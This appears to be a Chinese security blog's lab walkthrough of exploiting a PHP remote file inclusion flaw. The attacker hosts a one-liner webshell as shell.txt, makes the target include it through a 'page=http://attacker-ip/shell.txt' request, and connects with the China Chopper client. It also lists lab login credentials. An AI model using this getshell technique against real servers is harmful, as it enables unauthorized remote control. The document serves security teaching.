文章总结： 该文档是一篇关于文件包含漏洞利用的实战教程，详细介绍了如何通过远程文件包含漏洞包含远程Webshell来获取目标服务器的Shell权限。实验演示了在攻击机本地搭建Web服务器并创建木马文件，利用目标服务器的远程文件包含功能执行恶意代码，最终使用中国菜刀工具成功连接Webshell的过程。文章强调了在合法授权范围内进行安全测试，并提供了具体的操作步骤与环境配置。 综合评分： 78 文章分类： 渗透测试,WEB安全,实战经验,安全工具,漏洞分析

网安每日干货分享《文件包含之远程包含Webshell》-0214

原创

建哥聊安全 建哥聊安全

建哥聊安全

2026年2月14日 08:53 湖南

免责声明：严格禁止对任何未授权系统/网络进行扫描、攻击或入侵。 禁止制作/传播恶意程序，禁止参与任何网络犯罪。如擅自将本文实验技术用于非法用途，一切法律后果及责任由行为人独立承担，与作者无关。

创作不易，内容如对你有帮助，可以点个关注，转载时请务必注明原作者及原始出处链接，感谢配合。戳下面关注 ↓↓↓

文件包含漏洞利用之远程包含Webshell

实验目的

通过本实验，通过远程文件包含漏洞包含远程Webshell，从而Getshell。

实验环境

·操作机：Win10 用户名：Administrator 密码：Sangfor!7890

·靶机：Apache + PHP

·实验地址：http://ip/include/include.php

实验原理

本地包含只能包含目标服务器本地已有的文件，若目标服务器本地不存在木马文件，则无法利用。因此可以借助远程文件包含漏洞，在操作机本地搭建Web服务器，远程包含木马文件Getshell。

实验步骤

1、登录操作机，打开浏览器，在浏览器中访问http://ip/include/include.php

2、打开”phpStudy”，启动操作机的Apache服务

3、在操作机的Web根目录下新建shell.txt文件

4、在浏览器中访问http://目标机ip/include.php?page=http://操作机ip/shell.txt，并发送post数据测试一句话木马可以解析

5、打开桌面tools文件夹的“中国菜刀（过狗）”，双击exe文件

6、在空白处鼠标右击，点击“添加”，添加shell地址

·地址为：一句话木马地址和连接密码

·脚本类型：PHP

7、点击“添加”，双击一句话木马地址

实验总结

通过本实验，掌握在无其他漏洞，只有文件包含漏洞，且目标服务器本地无shell文件可利用，又可以远程文件包含时，可以在攻击机本地新建一个一句话木马文件（比如：shell.txt，不要以.php的文件存在，因为php文件在操作机本地会被解析），然后远程包含攻击机本地新建的木马文件，从而Getshell。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：建哥聊安全 建哥聊安全 建哥聊安全《网安每日干货分享《文件包含之远程包含Webshell》-0214》